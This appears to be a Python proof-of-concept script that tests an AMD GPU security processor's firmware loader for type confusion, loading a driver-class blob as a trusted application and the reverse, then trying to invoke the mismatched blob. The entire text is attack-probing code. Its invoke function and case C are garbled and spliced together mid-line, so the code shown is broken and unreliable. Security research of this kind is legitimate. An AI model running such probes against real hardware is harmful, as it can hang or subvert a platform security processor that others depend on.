#!/usr/bin/env python3 """Loader type confusion: ASD blob via LOAD_TA, TA blob via LOAD_ASD. TAs are class TA (invokable); ASD is class DR (driver, refuses INVOKE). If the loader trusts the GFX command rather than the image's own class field, a blob parsed as the wrong class could take a mismatched path -- the classic type-confusion shape, and never tested here. Cases, each with a PSP-health control afterwards: A TA blob via LOAD_TA (control, expect 0x0) B ASD blob via LOAD_ASD (control, expect 0x0) C ASD blob via LOAD_TA <- confusion D TA blob via LOAD_ASD <- confusion E if C or D loads, try to INVOKE it (a DR-class blob invoked as a TA) """ import glob, struct, sys, time sys.path.insert(0,'/root/psp/hw') from tinygrad import Device import tinygrad.runtime.autogen.am.am as am from ring_wrap import install adev=Device["AMD"].iface.dev_impl; psp=adev.psp submit=install(psp,adev) def alloc(n): pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa) ta=open(glob.glob('/root/psp/contall/ta_42-0-0-6_1c874c3c*')[0],'rb').read() asd=open(glob.glob('/root/psp/contall/asd_33-0-16-144_aaa06ff8*')[0],'rb').read() def load(blob, cmd_id, tag): ap_,amc=alloc(0x100000); cp,cmc=alloc(0x8000) n=(len(blob)+3)&~3 adev.vram.view(ap_,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp() c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd_id); t=c.cmd.cmd_load_ta t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(blob) t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=0x4000 t0=time.time(); sid=None try: r=submit(c); st=r.resp.status&0xFFFFFFFF; sid=r.resp.session_id except Exception as e: try: st=int(str(e).strip().split()[-1])&0xFFFFFFFF except Exception: st=-1 dt=time.time()-t0 print(' %-34s -> %#-11x %.1fs sid=%s%s'%(tag,st,dt,sid,' <<< STALL' if dt>5 else ''), flush=True) return st, sid, cp, dt def invoke(sid,cp,cid=1): b=bytearray(0x4000); struct.pack_into(' INVOKE of a DR blob as TA: %#x %.1fs%s'%(s,dt,' <<< STALL' if dt>5 else ''), flush=True) std,sidd,cpd,dtd = load(ta, am.GFX_CMD_ID_LOAD_ASD, 'D TA blob via LOAD_ASD') if std==0 and sidd is not None and dtd<5: s,dt=invoke(sidd,cpd); print(' -> INVOKE of a TA loaded as ASD: %#x %.1fs%s'%(s,dt,' <<< STALL' if dt>5 else ''), flush=True) st,_,_,_ = load(ta, am.GFX_CMD_ID_LOAD_TA, 'HEALTH control: TA via LOAD_TA')